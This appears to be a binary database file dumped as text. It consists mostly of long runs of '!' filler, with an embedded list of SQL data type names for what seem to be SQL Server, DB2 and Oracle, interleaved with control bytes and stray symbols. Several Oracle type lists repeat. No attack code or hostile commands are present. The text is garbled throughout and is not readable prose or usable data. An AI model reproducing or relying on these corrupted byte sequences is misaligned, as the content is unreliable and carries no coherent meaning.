!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h9`
ZU4.3^8!!!!`"V=Kp#bigint<p#binaryBpbitEpcharFp'datetimeGp%decimalHp7double precisionIp!floatJp	!imageKp
intLp!moneyMp!ncharNp
!ntextOp%numericPp'nvarcharQprealRp1smalldatetimeSp'smallintTp+smallmoneyUp-sql_variantVp%sysnameWptextXp)timestampYp%tinyintZp7uniqueidentifier[p)varbinary\p%varchar]pxml^p/varchar(max)_p1nvarchar(max)`p3varbinary(max)ap datebp!timecp")datetime2dp#3datetimeoffsetep$-hierarchyidfp%'geometrygp&)geographyhp'#BIGINTip(BLOBjp)CHARkp*?CHAR () FOR BIT DATAlp+CLOBmp,DATEnp-#DBCLOBop.%DECIMALpp/#DOUBLEqp0!FLOATrp1%GRAPHICsp2INTtp3%NUMERICup4REALvp5'SMALLINTwp6TIMExp7)TIMESTAMPyp8%VARCHARzp9EVARCHAR () FOR BIT DATA{p:+VARGRAPHIC|p;CHAR}p<!NCHAR~p='VARCHAR2p>)NVARCHAR2p?LONGp@CLOBpA!NCLOBpB#NUMBERpC!FLOATpDREALpERAWpF'LONG RAWpGBLOBpH!BFILEpIDATEpJ!ROWIDpK#UROWIDpLCHARpM!NCHARpN'VARCHAR2pO)NVARCHAR2pPLONGpQCLOBpR!NCLOBpS#NUMBERpT!FLOATpUREALpVRAWpW'LONG RAWpXBLOBpY!BFILEpZDATEp[!ROWIDp\#UROWIDp]CHARp^!NCHARp_'VARCHAR2p`)NVARCHAR2paLONGpbCLOBpc!NCLOBpd#NUMBERpe!FLOATpfREALpgRAWph'LONG RAWpiBLOBpj!BFILEpkDATEpl!ROWIDpm#UROWIDpn)TIMESTAMPpoGTIMESTAMP WITH TIME ZONEppOTIMESTAMP (7) WITH TIME ZONEpqSTIMESTAMP WITH LOCAL TIME ZONEprCHARps!NCHARpt'VARCHAR2pu)NVARCHAR2pvLONGpwCLOBpx!NCLOBpy#NUMBERpz!FLOATp{REALp|RAWp}'LONG RAWp~BLOBp!BFILEpDATEp!ROWIDp#UROWIDp)TIMESTAMPpGTIMESTAMP WITH TIME ZONEpOTIMESTAMP (7) WITH TIME ZONEpSTIMESTAMP WITH LOCAL TIME ZONEpCHARp!NCHARp'VARCHAR2p)NVARCHAR2pLONGpCLOBp!NCLOBp#NUMBERp!FLOATpREALpRAWp'LONG RAWpBLOBp!BFILEpDATEp!ROWIDp#UROWIDp)TIMESTAMPf7
yN!e8p]&j=P![,AU(l?V].pE\/g6~I


b
5

m@J


]
*
			f	9		e4Lz;i$ZrEP%O`
ZV.^8!!!!`VvCsȨ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!